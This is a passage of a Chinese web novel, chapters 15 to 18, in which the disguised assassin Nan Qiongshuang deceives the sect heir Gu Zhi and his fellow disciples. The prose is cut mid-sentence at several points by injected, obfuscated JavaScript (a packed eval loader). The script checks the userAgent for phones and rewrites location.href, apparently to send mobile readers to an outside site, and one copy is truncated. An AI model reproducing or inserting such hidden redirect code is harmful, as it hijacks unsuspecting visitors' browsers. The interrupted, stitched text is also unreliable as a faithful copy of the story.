无数根肉眼难见的丝线自她掌中悄无声息垂下,南琼霜面色平静无波,略一抬指,丝线闪着光缚上他脖颈,“我不杀你,你就要杀我了。为何不杀?” 一句话竟然把李玄白说的笑了起来,他无可奈何摇摇头,“说话倒真是痛快。不过,”猛地起身,劈掌夺过她掌中刀,卡在缓缓收紧的丝线间,往外一格: “同样的伎俩,用两次就不管用了。” 他攥住她的手腕,竟然靠蛮力将她的丝线生生拨开,缓缓站起身来。 他生得真高,或许是因为气势更凌厉些,几乎比顾止还要迫人,长身玉立,如一棵修竹。 李玄白似笑非笑瞧着她,仍是一副混不吝姿态。 南琼霜力气不逮,丝线颤抖不已,终于被他一咬牙,尽数扯开。 丝线空空兜着那匕首,垂落下来。 南琼霜被他攥住手腕,一时收不回手,只冷眼看着他散漫神色。 一时揣摩不出他葫芦里究竟卖着什么药。 两相对视,两两无话。 但有一件事,她非常清楚。 今天恐怕遇上了点麻烦。 她开口:“你……” 李玄白却忽然伸出食指,在她的下巴尖上摩挲了一下。 她一愣。 他轻笑起来,山风里,阳光将他琥珀色的眼眸照了个透彻。 他掐住她仍握着刀柄的手,不顾那刀锋又贴近了洇出血的胸口,仔细端详着她道,“生得倒挺俊,怪不得骗过了少掌门。” 南琼霜面色古怪了半晌,冷蔑笑了一下。 “是你爱美人的时候吗?”就着李玄白紧握着她手腕的手,贴近他,近得几乎鼻尖相贴。 声音轻轻:“告诉你,你快死了。” “哦?” 南琼霜一笑,“是毒。” 李玄白勾着唇,眨了下眼。 俄而,噗嗤一声,笑了出来。 “所以呢?我该怎么办?” 南琼霜:“解药只在我这。你若想活命,最好乖乖求我。” 李玄白闻言,细细打量着她神色。 她面上一丝游疑也无,冷静直视他的眼睛。 他笑道,“你不会真以为,我会信吧?” 南琼霜微摇了一下头,轻笑着,不说话。 李玄白毫不在意地,拿手指刮了一下她脸颊,好像逗弄一只猫儿,“少骗我,皎皎。” 她那叠字的假名,听得她浑身起了一层鸡皮疙瘩。 “你不是什么好人,被我抓个正着,所以想杀我。但光打又打不过,于是想骗我,威胁我。”李玄白道,“是这样吧,皎皎?” 南琼霜望着他挑衅神色,袖中的手缓缓攥紧。 他说的没错。 李玄白和顾止平分秋色,她既然无法用武强取顾止,自然也无法杀了李玄白。 除非,诈他。 骗他听话。 没想到,此人不仅武功不可小觑,心眼也不少。 对上李玄白,算她今日倒霉。 她不是纠结后悔之人,既已经被识破,她也懒得再装下去,直接将短刀丢进了草里,理理袖摆。 “是这样没错。”她抱着肩膀,道,“所以呢,现在你想杀我?” “我为什么不杀?装着柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961887|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱,实际中了一箭还敢跳崖。心怀鬼胎上山,说要解毒,我可没瞧出你哪里虚弱。”李玄白道,“况且,我救你上来,见了救命恩人,二话不说,先捅了一刀。你这人——” 南琼霜既不愧疚,也不辩解,一双眸子避也不避地直视他眼睛,只是笑而不语。 “少装,要杀你早杀了。”她直截了当,“你想要什么,说吧。” 李玄白一下被她截了话头,见她既无悔改之心,更无惧怕之意,一时竟然被气笑了。 “这人真缺德。”他点评道,“若不是生得好看,早在我这死了八百回。” 南琼霜歪着头,现如今那股柔弱劲也懒得演了,一股傲慢矜冷之色。 她道:“可惜,我就是生得好看,怎样。” 李玄白咳了一声,差点把自己呛住。 他扶额,很头痛地叹息一声,“这样吧。不论你是要杀这山上的谁,或者是要颠覆全山,我都不管。” 南琼霜挑起一边眉毛。 “但是,不准再杀我了,真特么疼。” 南琼霜笑,“那可说不准,看情况。” 李玄白无语地睨了她一眼,继续道,“这是第一。第二,我想演的时候,随时陪我演。” 南琼霜:“演什么?” 李玄白:“到时,你自然知道。” 南琼霜打量他半晌,抱着肩膀,不说话。 “你知晓我是……”“细作”两个字没有说出口,她轻描淡写地跳过,“但是你不管?为什么?” 李玄白:“第三,不准多问。” 南琼霜了然。 怪不得李玄白抓她个现行也不欲杀她,原来他身份也不简单。 她古怪笑着,又将李玄白从头到脚上下打量了个遍。 天山派,封山封得这么严,自以为万无一失,结果山内细作竟然有两个。 倒挺好笑。 她道:“好。” 李玄白颔首。 她又道:“不过,既然彼此都不是好人,我也没什么把柄在你手里了,我也稍提一点要求。” 李玄白:…… 李玄白:“你说。” 南琼霜却不答,只一双清泠泠眸子,一瞬不转地看着他。 日光下,那双眼睛水雾迷蒙,纯澈竟如玻璃珠。 他心里感慨,这样心性的女人,竟然生了这样一双眼睛,真是难以想见。 她笑了笑,眼睛弯成月牙。 然后,偏着头,凑近他。 堪堪停在他唇侧。 李玄白一时竟像被定住身一般动弹不得,只看见她身后湛蓝的天幕,和那天色倒映进她眼里的一片蓝。 山风清冽,那样近,两人碎发在风里纷飞交织。 李玄白心道,她要干嘛? 却见她浅低了郁艳眉眼,眼里一点光仿佛泫然欲泣的泪,侧着头,停了片刻。 最后,朱唇微启,去追他的唇瓣。 李玄白没躲,他自己也惊讶。 一个轻如蝶落的吻。 仅仅一瞬,南琼霜退开半步,拉开了一点距离,在他错愕诧异又混乱不堪的目光里,笑了一下。 南琼霜:“喜欢吗,李玄白?” 李玄白一把抓住她手臂:“你敢戏弄我?!” 南琼霜莞尔。 戏弄你又怎么了。 凡事不往心上放的玩世公子,眼下也不得不往心上放放。 她笑得寒凉,“别生气嘛,美人香吻,是有事相求。” 李玄白不敢置信地看着她。 “送我回去吧。”她道,“顾止面前,我柔弱得很,走不回去。” 16. 第 16 章 顾止阖着眼睛,单足立在潭面露出一角的礁石上,掌中一柄长剑,长剑上平放着一枚滚圆的玻璃珠。 碎发被水汽打湿,长睫上凝着小水珠,屏息凝神,连睫毛的翕动都轻微。 定心瀑下水声激越,半分动摇不得他的心。 眉头却忽然皱了皱,脑海里翻上来一道声音。 是个女子的恳求声。 “公子,我要死了……有些话,还欲与公子说。” 他是怎么答的? 他说:“勿多思,好好休息便是。” 脑海里又闪过那个画面。 那样肤白的人,眉头蹙着,眼下两道狰狞的血痕,越发显得整个人白得仿佛要碎掉。 白玉般的脸,血泪像是瓷器蜿蜒的裂纹。 他不由自主地想起那天,她掌着莲灯,月夜泛舟而来,柔软灯火在她脸上缓缓流淌。 本是那般温柔幽雅之人。 他脚下一个偏斜,眼睛陡然睁开,还是挽救不了倒势,颓然栽进绿幽幽的潭水里。 冒出水面,他长呼了一口气,把湿发拢去脑后,仰起头。 身后瀑布水声磅礴,雾气氤氲,阳光下,折射出一道淡淡的彩虹。 他睁开眼,额鼻骨骼俊雅如玉,长发滴着水,怔愣望着天空。 他分心了。 但是,或许,也不该对她那般无情。 瑶洁那日所说,左不过是一个猜测。 若要暗杀他,用天山药草解不了的毒,自然万无一失,但若用天山有药草可解的毒,也没有什么。 毕竟,毒发不等人,就算天山上有解药,也未必救得了他。 何况,来人并不一定十分清楚天山的情况,也未必十分懂得药理。 退一万步讲,当时那阵毒雾本是奔他而来,是他用玻璃珠,带起风,改换了毒雾的方向。 她如何算得准他会将毒雾扑返,如何算得准站的位置,当着他的面,故意吃下那口毒呢? 他从潭水里伸出一只手,对着光,出神瞧着臂上的伤。 仅仅因为幼红春有些疑点,并不能直接断定楚皎皎是细作。这其中,可能的偶然太多。 但是,她替他受下了那口毒,却是实打实的。 她那般体弱。 那晚她鬓发未梳,脂粉未着,拢着衣裳来接他。当时,她双肩如此瘦削。 却因为他,泣泪如血,染红了一整张床铺。 她做错什么了。 他出神望着臂上伤痕,一时竟想不起当时划破皮肉的决绝。 顾止深吸一口气,捧起水,烦躁地在脸上搓了两下。 敛起袍袖,转身上了岸,长发白衣在水里迤逦出一串涟漪。 他心里道,或许不该。 回了暮雪院,第一件事便是想寻她道歉。 阿松见他今日提前回了院,甚至连长发衣衫都未擦干,惊得一时放下了手里的活,赶上前来,“少掌门今日回来得好早。” 顾止只是问:“楚姑娘呢?” 阿松一怔,“今早楚姑娘拿着一碗莲子羹,来问少掌门有没有空。我已经告诉过她不必送来了。” 回绝见面是他的吩咐,他不怪阿松,但仍是有些恼地叹息一声。 “楚姑娘现在人在哪?” “我也不晓得,似乎是感觉到少掌门不愿见她,委委屈屈地去找大师姐赔礼道歉去了。” 顾止太阳穴一跳。 “去寻瑶洁?自己出了院?”她甚至毒发未愈,只因为他—— “没,没有,”一见顾止又开始对那女子上心,阿松慌忙撇清关系,“出门时刚好撞见颂梅姑娘来送东西,于是楚姑娘跟着一同回了。” 顾止颔首,放下心来。 却忽然听见外面一阵嘈杂,院门开了,来人毫不收敛,大喇喇喊着:“顾掌门,你院里的人,我给你送回来了。” 李玄白跨过门槛,大步流星两三步就穿过了院子,门旁的侍仆替他拨着珠帘。 怀里抱着一个霜打了的花一般的人。 看清他怀里那人,和那人胸口一根箭,顾止呼吸一窒。 “楚姑娘!”他急忙上前,想将她接过,“楚姑娘怎么在你处?这是怎么了?不是去寻瑶洁了吗?颂梅呢?” 李玄白冷瞥他一眼,“你问我?”抱着南琼霜的手偏偏不松,只由他在一旁干伸着手。 “先治伤吧,别的之后再说。”朝身后唤道,“把那个屈术叫来。” 顾止虽是心急,也从李玄白的态度中觉出点滋味。 那种见了他十分烦躁不耐,刻意装着没瞧见于是不放手的态度,他认识李玄白已久,没在他身上见过。 李玄白向来是个玩世不恭桀骜不驯的,天资高,不消练得多辛苦,轻易便超出旁人一大截。自从入山以来,年年大比,从未跌出山内前三甲。 因着一切得来的太容易,个性也潇洒,没见他对什么上过心。 可是,今日,明明该是他和楚姑娘头一次相见。 楚姑娘生得美,顾止明白。 他也承认。 一张人见人爱的脸孔,又是人见人疼的个性,楚姑娘惹人喜欢,顾止也明白。 但是,他从未想过。 他仅仅是放着楚姑娘自己出了院子一次。 仅仅是将她搁在一旁,冷落了几天。 就已经又有其他人,跟在她身旁,觊觎她了。 甚至仅仅放他们见了一面。 顾止跟在李玄白身后,李玄白俯身将双眼紧闭的女子小心放在榻上,顾止神色平静地替他拨着床帐。 见李玄白将人放稳了,犹站在床侧不挪步,甚至俯下身将她黏在腮侧的湿发拨开,他开口,“替楚姑娘感激师弟相助,余下的事就交给我,师弟不妨请回吧。” 李玄白回身嘲了一句,“若是交给你她便无虞,也不会由我抱着她回来了。” 李玄白似乎是素来不太看得上他,但这般明目张胆的嘲讽,从前倒也没有过。 顾止不语。 他个性温和惯了。或者说,少掌门的位子要求他至少面上要温和。 他平静道,“究竟发生了什么,师弟不妨同我去外面讲讲,也好放楚姑娘在这里休息,等待屈术先生。” 两人退出房间,门吱呀一声合上,躺在床上的南琼霜睁开了眼。 浑身冷汗都是装的,她已久不会被贯穿伤吓到,于是嗤笑一声。 “现在可以出来了吧,雾刀。” “哎,悬崖边,那人其实早在那了,因而你掉下去时我无法过去帮忙。”雾刀的声音从耳畔传来,却谨慎地隐起身形,“我见他在那看你,就知道他兴许会去救你,因此没去坏你好事。” “算你聪明。” 雾刀继续道,“我当真以为那里是星辰阁,不想竟然是李玄白的住处,天山竟然将那样大一片地方分给他住。” 她转头看看屋内两人的身影,用传音入密回,“李玄白看来真不是一般的受宠,这地位怕快赶上顾止了。” 雾刀笑,“所以你要用他?” 南琼霜道,“自然。” 雾刀在她耳朵里咯咯一阵笑,“我就爱看各个男人为你争的头破血流,怪好玩的。” 那笑声回荡在脑海里,笑得她头都开始疼,她揉着太阳穴道,“滚吧。” 雾刀的声音消失了。她竖起耳朵,尽力分辨堂内的谈话。 两人低低谈着李玄白捡到她的情况。不过或许是因其中不可为人所知的事太多,李玄白拿捏不准她打算给顾止什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他面上果然是为难之色,最终还是偏开眼神,道,“先生无需看我,请。” 屈术回身去翻找药箱,南琼霜斟酌着顾止神色,见他似乎有些心痛怜惜之意,大着胆子,伸出手。 冷汗湿透的手,轻轻地、卑微地,勾住了他的小手指。 顾止心脏突地一跳。 屈术尚未回过身。 他望着她无助惊惧的眼睛。 她看着他,眼里滑落一颗滚圆的泪。 顾止看着她那湿漉漉的委屈眸子,一低头,竟落下一颗泪来。 他低低道,“对姑娘不住,让姑娘受苦了。” 南琼霜心里震动,一时竟不知做什么反应好。 泪砸在她的手背上,他垂首,长发如绸披挂垂落,那般俊雅之人,大拇指竟然爱怜地在她手上摩挲不已,替她将泪揩去了。 南琼霜只是怔愣,心里轰然雷动,回声阵阵。 她行刺这许多年,不知多少男人为她失魂落魄。 却头一次有人为她落泪。 为什么?只因为她刚刚毒发,又中了箭吗? 不过这么一点事情,连她自己都从未放在心上。 他有什么好哭的? 这一点苦,原来竟该无法忍受吗? 她从未心疼过自己,可他为什么竟好像在心疼她似的。 许久,她才回过神来,明知道该趁他愧疚,眼泪汪汪地撒娇诉苦,却不知为何,竟然无法直视他的眼睛。 只是偏开头,将手从他手里抽了出来。 顾止只当她是羞涩。 屋内太安静,安静得竟然有点煎熬,她几乎是逃避似的匆匆转了话题,再次泪眼婆娑道: “公子,大师姐……要杀我。” 17. 第 17 章 宋瑶洁今日一直心神不宁。 近来听闻那女子又毒发了一次,闹得不小,顾止再怎么打定主意同她切割,还是回去看了一眼。 不知这回去看的一眼又动摇他几分。 她今早晨训时原本打算去定心瀑下看他,掐着他晨训未完的时辰,特意去了定心瀑。 不想,到了瀑下,连个人影也没见着。 抓着素日在瀑旁密林内晨训的弟子一问,说是少掌门今日结束得早,已经回院了。 院内有谁,她最知道。 宋瑶洁握着茶盏的手,缓缓收紧。 她时至今日也想不通,为何顾止只跟那女子相处了短短几日,竟然就如此失魂落魄、心神颠倒。 她认识他十年有余,最晓得他那人面上好似温润,实则内里最是疏离,谁也无法近前。 她倾慕他十年。 十年里,不知用多少法子试图与他亲近些,他待她却始终客气礼貌,相处从不逾前后辈之矩。 她以为,他本就是那样一个人,待谁都同样的好,也同样的,仅仅到此而已。 却在亲眼见到那日他听闻那女子毒发时的眼神后,无比清晰地意识到一件事。 他不是不动凡心的明月。 他只是,不为她。 咔擦一声,茶盏竟然应声而碎。 宋瑶洁怔怔看着茶盏碎作几片,滚烫的茶水如撤去了栅栏的兽,争先恐后四散涌出。 还冒着热气。 楚皎皎,她凭什么? 毫无武功,毫无家世,既无天分,也不勤勉,日日只是柔弱,靠着眼泪过活,没有男人什么也不是,见不到一点坚强样子。 一巴掌能扇死的东西,到底有什么好? 她也配。 “呀,师姐!”祁竹赶忙上前来,拿丝绸帕子细细地擦着她烫红了的五指,“怎么好端端地将茶杯捏碎了!” 她默然道,“抱歉。” 忽地发觉,今日只有祁竹一个,又道,“颂梅呢?” 祁竹:“颂梅姑娘去暮雪院送东西了,便是那日师姐吩咐的给少掌门的补药。” 她道:“如此。” 刚将五指细细擦过,将泛红的手在祁竹端上来的银盆中泡着,忽见顾止身边常侍左右的阿松撩帘进了门。 她心中一跳,慌忙站起身来。 今早见不到顾止的那份心神不宁,此时愈发放大。 阿松略一鞠躬,恭敬道,“大师姐,少掌门唤您前去暮雪院问话。” “问话?”她这大师姐,何时用着了“问话”二字了? 阿松不答,只是侧身,让出门口,候她起身。 声音几乎不近人情:“请吧,师姐。” * 宋瑶洁到得暮雪院时,推开门,正见到她最不愿见到的人,和最不愿见到的情景。 楚皎皎苍白着一张脸,毫不避嫌地躺在顾止夜夜歇息的榻上,毫不避嫌地躺在有他气息的衾被里,毫不避嫌地,用她的皮肤,在夜夜接触顾止皮肤的衾被上,不害臊地磨蹭。 而顾止,竟然毫不介意,端着一个药碗,坐在她床侧,手里一个汤匙,在药中搅着。 竟然,还舀出一勺,贴在那女子唇侧。 好声好气地哄着,“皎皎,吃药。” 皎皎。 两个字,说得她一股火从脚底直窜到天灵盖。 她恨不得把他一把拉起来,二话不说先给这个不长记性的师弟一耳光。 但她没有。 她端出师姐的姿态,道,“这是在做什么?没见过山内有如此不避嫌的。” 回身对祁竹道,“将此事告知师傅,请师傅定夺少掌门之过。罚什么、怎么罚,一概视若普通弟子,该怎么罚、就怎么罚。” 顾止毫无退让之意,垂眸搁下药碗:“顾某之错,事后固然该怎么罚,就怎么罚。但师姐,今日,顾某也有些话想问你。” 宋瑶洁命令道,“先退出来,帘子拉上。她穿的什么?你容她穿的那样,躺在你榻上?” 顾止只是垂着眸,朝阿良眼色示意一下。 阿良将一根血迹斑斑的箭,双手捧出帐子。 宋瑶洁这才发觉,屋内似乎有着浓重的血腥气,方才她一进屋就气昏了头,竟然不曾注意到。 她问:“这是什么?” 顾止:“师姐怎么解释?” 宋瑶洁:“解释什么?我有什么好解释?她自己擅自出院中了机关,问我做什么!” 顾止叹息道,“大师姐,皎皎出院是因你不喜她,欲寻你道歉。” 宋瑶洁一时竟有些百口莫辩。 “那她竟不能寻人陪同?非自己逞强,自作自受,受了伤又怪在我头上。这出好戏,专演给你,骗你心软,你竟也信!” “师姐!”顾止冷冷截了她的话,“还是先请楚姑娘讲讲吧。” 南琼霜似乎很惧怕似的,游疑不定地望了顾止一眼。 顾止点点头,细细用衣袖去拭她的泪。 宋瑶洁见他这重蹈覆辙的样子,简直气不打一处来,未等发作,却听床上的南琼霜道,“我……我求颂梅陪我去寻大师姐道歉,可是,可是颂梅竟然将我引上一条小路,欲用机关杀我。” “我本不知那是机关,是颂梅姑娘对我讲,那片红叶颇有意思,我才去摘的。不想那叶子竟然长在枝上拔不下来。” “我拔不下来,于是颂梅走来替我想法子,结果这时却射出四根箭来,颂梅姑娘刚好站的是我当时的位置,于是,于是就……” 宋瑶洁:“颂梅呢?伤得重不重?人在哪?” 南琼霜缩回衾被里,用被子盖住嘴,不敢出声,眼巴巴地望着顾止。 顾止会意,“我已经派人将颂梅的尸首带回来了。” “尸首?!”宋瑶洁大惊,颂梅是跟了她七八年的大丫鬟,是最得她喜欢的心腹,“死了?!” 南琼霜瑟缩回衾被里,往榻内钻了钻。 顾止伸出一只手臂横在她身前,替她挡着宋瑶洁的诘问:“师姐,抱歉。” “抱歉?!”宋瑶洁只觉得浑身血液涌到头顶,几秒之内全部沸腾,烧得她一阵耳鸣。 “你不觉得这其中有问题吗?颂梅是熟悉山内机关的人,她死了,这个不通机关的楚皎皎却还活着!?事情明显至此,你竟仍觉得她无辜?!” “机关卡住是常有的事。”顾止道。 “以颂梅对机关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961889|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的了解,即便机关卡住,又怎会不晓得站在万无一失之处?!定是她使诈,诱颂梅站在机关之内,借机关杀了她!” “你是说,连你也承认不通机关的楚姑娘,竟用机关暗算了颂梅吗?” “我是说,”陡然被指出漏洞,她脸色更不悦,“第一,她懂机关之术。第二,她暗算了颂梅。” 顾止叹息,“师姐,证据何在?” 宋瑶洁一时语塞。 屋内沉默一瞬,顾止接着道,“既然师姐暂没有证据,话头就先放在一边。我倒是有些问题想问师姐。” “第一,楚姑娘从未上过天山,不晓得山内地形,路是颂梅挑的。颂梅为何要选那人迹罕至、偏离大道的路?” “第二,颂梅一眼便知那红叶是机关。若按楚姑娘所说,为何诱使她去摘那片红叶?若按师姐所说,为何不阻止她去触动机关?” “第三,颂梅陪同楚姑娘去漱玉斋,是有保护的职责的,却欲在途中将楚姑娘引下大路,放任楚姑娘触发了机关。我想问问,此事究竟是谁的属意?” 第三句话,问得宋瑶洁浑身冰凉。 “你是想说,颂梅得了我的吩咐,要杀楚皎皎?” “顾某不敢。” 宋瑶洁冷笑一声,“没有。” 若说颂梅,以她那心高气傲的性格,确有可能私自欲杀楚皎皎。“护卫不力”的罪名,宋瑶洁可替她担下来,大事化小,小事化了,左右不过一个楚皎皎。 但是,若说她的属意,那确是没有。 虽然,她开始觉得,这个楚皎皎,当真该杀。 “你怎知她不是随口诳你?或许是她无意触发了机关,颂梅为救她而死,她捡了一条命,回头来诬告我们。” “颂梅怎会为救我而死?” 床上的南琼霜拥着衾被坐起,浑身毫无血色,摇了两摇,顾止忙伸出胳膊来护着她,“颂梅姑娘素来不喜我,我知道的。那日在漱玉斋,我磕在地上,她连扶都不曾扶一把,还在背后笑个不停。她怎会为我而死?” 顾止冷冷道:“竟有这事?” “不止如此,还……”说着,泪愈发泫然欲坠,却慌忙瞥了一眼宋瑶洁后,小心收住了口。 顾止:“无妨,左右不过一个奴才。” 奴才?!宋瑶洁觉得头快被怒火冲炸了,她多年的心腹只是一个奴才,这个不通武功的废物又是什么,这个被废物美色迷惑的蠢货又是什么! “还……要我晨起便洒扫院子,只分给我一个小壶,屈术先生送来的药,那日我分了三顿才煎完。求她帮我备水沐浴,她竟拿……竟拿溪水给我,说没工夫替我烧水,要我凑合几日。” 说着,发着抖去牵顾止袖子,撞进宋瑶洁不可思议的眼神里,于是吓了一跳,躲在顾止身后。 宋瑶洁惊道:“楚皎皎,这些事何曾有过,你别血口喷人!” 顾止:“师姐,竟有这些事?” 宋瑶洁:“顾止,你我相识十年,你宁信她,不信我?!” 顾止叹气:“师姐,顾某自然信你。但也是当真想知道,颂梅为何将楚姑娘引下了主路,又纵容她触发了机关。” 宋瑶洁脸色一阵由青到红,由红到白。 18. 第 18 章 南琼霜躲在顾止身后,从他颈侧的缝隙里,欣赏着宋瑶洁那张有口难辩的不甘的脸,兴致盎然。 天底下最无懈可击的就是真相。巧的是,今日,她还真没有撒谎。 她不过隐瞒了一些事。 有趣的是,恶人明明是她,宋瑶洁那一派正人君子,却生生将自己混成恶人了。 只因颂梅的计策实在漏洞百出。 看宋瑶洁的反应,颂梅动手前或许确未与宋瑶洁通过气,是看时机大好,临时决定要杀她。 可惜,手段太稚嫩。 不仅将自己搭了进去,还闹得宋瑶洁无法圆场。 宋瑶洁强自镇定道,“若要知其中缘故,自然是要问楚姑娘。不过这么问,似乎是问不出了,或许该上涟雷台。” 涟雷台? 南琼霜并不知道那是什么,然而顾止顿时变了语气,怒道,“胡闹!” 顾止似乎一贯温和,南琼霜实在少见他疾言厉色,一时诧异。 “涟雷台乃是山内有八分嫌疑的反贼方才要上的地方,上去了就下不来。师姐竟觉得楚姑娘已经值得一个涟雷台?” 宋瑶洁白着一张脸,不语。 她何曾不知道顾止维护这楚皎皎,又怎会不知这话要惹得顾止动怒。 但她性子孤傲,不懂服软。 只有不断架高台。 宋瑶洁冷哼一声,“既然她是唯一剩下的人,欲知真相,只有审。” 顾止向来温润和善,此时竟腾地一下站起身来,立在榻边,手横在泪水涟涟的南琼霜前。 宽大袖摆垂下来,遮住了缩在后面的人。 一个不由分说的保护姿态。 他冷冷道,“师姐敢?” 屋内侍奉众人见了顾止动怒,一时惊吓不已,全伏低了身子跪下,不敢抬头。 宋瑶洁站在中央,一时也震动至极。 顾止做少掌门七年,从未真正与谁红过脸,更未在明面上与哪一位起过争执。 七年来,谁对谁错,该与不该,一概大度容下。 连宋瑶洁也没想到,一贯好脾性的人,有朝一日,竟然当真会当众翻脸。 而且是对她。 这些日子,一反常态千万次,次次为的都是同一人。 瞧着顾止那冷寒神色,宋瑶洁也不自觉软了话头,“颂梅呢?带上来,我亲自查验。” 顾止甩袖,负手在背后,仍将南琼霜挡在自己身形以内,“将颂梅带上来。” 回身,冷冷看了宋瑶洁一眼,道,“幸好人是死了,不然,确是有人该上涟雷台。” 宋瑶洁退了半步,脸色一变再变。 颂梅被仵作抬上来的时候,顾止将床帐解了,垂在榻前遮住南琼霜的眼睛,方才走到屋中央。 “师姐欲验,倒别在我这屋内验,先草草略看一下。屋内有人受不住。” 命令口气,毫不遮掩的偏袒。 山内大师姐,几时被人命令过。 宋瑶洁冷着一张脸,走到那覆着白布的人形面前,掀开了白布。 露出一张她再熟悉不过、如今青白冷僵的脸。 她一抖,不由自主地闭了闭眼。 许久,再睁开眼时,眼里一丝强忍的哀痛。 她将那白布又掀开一些,露出亡者的全貌。 胸口三支箭,贯穿伤,箭箭直穿胸口。 她又抖了一下,吸了吸鼻子,细细去看那三支箭。 看了片刻,道,“想问楚姑娘那支箭是射在何处?” “肩。”南琼霜在床帐内诺诺地答,“当时我与颂梅姑娘站在一处,我稍微离得远些。颂梅姑娘射在胸口,我射在肩上。” 宋瑶洁:“我可否瞧瞧楚姑娘的伤处?” 顾止又是一瞬犹豫,他如今甚至已经不再掩饰对宋瑶洁的不悦和怀疑。 他拨开床帐,温声问,“皎皎,愿意吗?” “皎皎”? 宋瑶洁心想,竟已经唤得这么亲热?! 帐内人带着哭腔,“嗯”了一声。 宋瑶洁听着她哭腔,恨得几欲冲上来把她掐死。 终于还是聪明忍住了,抬步越过顾止,撩开床帐,坐在榻侧。 强忍着厌恶,拨开她领口,去查她肩头的箭伤。 从受伤位置来看,箭距倒没有什么疑点。 心里只是想着一件事。 这般私密的,要拨开领口查验的位置,顾止竟也看过了吗? 他竟然不嫌不厌? 五指狠狠攥进掌心,宋瑶洁神色自若地出了床帐,又来观察颂梅的伤。 “将楚姑娘身上取下的那支箭拿来。” 阿良垫着一匹白帕子,将那锈迹斑斑的箭递了过去。 山上机关许多已不知有多少年头,射出来的箭和暗器有时已腐锈不堪。 宋瑶洁将那支箭捏在手中,细细地看,忽然眉头一展。 她将箭比到颂梅青僵的尸首旁,长出一口气,道,“这箭不是同一年头的。你瞧。” 顾止闻言走过去,接过了宋瑶洁手中的箭,拿在眼前细看。 白帕子中的箭,尾羽是淡淡的灰,两三根毛黏成一簇。羽片似乎有些老旧,羽轴倒还留着些生生的白。 颂梅身上的箭,尾羽竟全是墨一般的黑,羽轴已经发黄,羽片粘腻不堪。看上去,毛近乎稀疏。 宋瑶洁:“楚姑娘身上的箭,比颂梅身上的箭新了许多。她那箭是自己射的。” 床帐内,南琼霜手搁在膝盖上,缓缓攥紧衾被。 这是自然。 天山上的机关,有些都不知道是什么时候埋下的,或许是三百年前松月师祖命人修建的都未可知。 但雾刀的箭,乃是往生门内按月派发的。 何况,他们这些人用箭快,今天发下来,明天就没了,每月总要去藏刃司补好几次。 雾刀是不可能有旧箭的。 这个致命的纰漏,竟然到了呈在眼前的这一刻,方才惊觉。 南琼霜闭了闭眼,深深地、深深地,吸了一口气。 床帐外,顾止摇摇头,“这话也是天方夜谭。何人所射?楚姑娘哪来的箭呢?人竟可以射了自己一箭?抑或楚姑娘自己将自己扎了个对穿?还是说,楚姑娘进山门那日,师姐在山门外候我,当时,不仅我没发觉有第四人入山,连师姐也没发觉?” 宋瑶洁偏开头,被他这咄咄逼人的一连串质问又激了一层心火。 顾止继续道,“楚姑娘体弱,连弓都未必拉得开。师姐是说,前些日子方失血昏迷三日的楚姑娘,竟然自己不知从何处寻到了一张弓,自己拉开,自己射穿自己胸口?” 顾止怒极反笑,讽道,“师姐,这像话吗?” 他一贯温厚,满屋人谁都没想过,有朝一日他竟也会唇枪舌剑,冷嘲计较,言辞锋利如刀。 还是对他以礼相待了十年、处处尊敬有加的山内大师姐。 众人甚至连抬头互换眼神都不敢,只是沉默着愈发低下头。 顾止走过去,将那支箭轻轻搁在合了眼的颂梅身旁,道,“不过那三支箭是乌鸦尾羽,这一支出自灰鸽而已。” 宋瑶洁站在原地,前词万语涌上心头,却哆嗦着嘴唇,一个字也没吐出来。 她竟然开始打起了哆嗦。 的确。楚皎皎那支箭到底是新是旧,并不好说。但若非要说是支新箭,亟待解决的疑问就更多。 甚至要怀疑到天山根本,山内门禁的问题。 但若要说仅仅是鸟羽颜色的问题,事情就好解释得多了。 宋瑶洁袖中的手缓缓攥紧,痛而又痛地皱起了眉。 此事若当真要有个水落石出,就得惊动慧德师叔,遍查山防机关和山口门禁,兴师动众不说,她也得跟着解释楚姑娘入山时,为何没察觉第四人跟踪。 查下去,三年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964934|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五年没个头,大家都闹不到什么好。 宋瑶洁垂下眼,看着颂梅的脸,心里一阵绞痛。 沉默了至少一刻钟,她抬起眼,道,“我同楚姑娘无冤无仇,并不会授意谁去对楚姑娘不利。少掌门若欲知其中因由,要待我先搜过颂梅的房间。” 顾止明白,这已经是宋瑶洁的服软了。 于是他负手,微一颔首,“劳烦师姐。” * 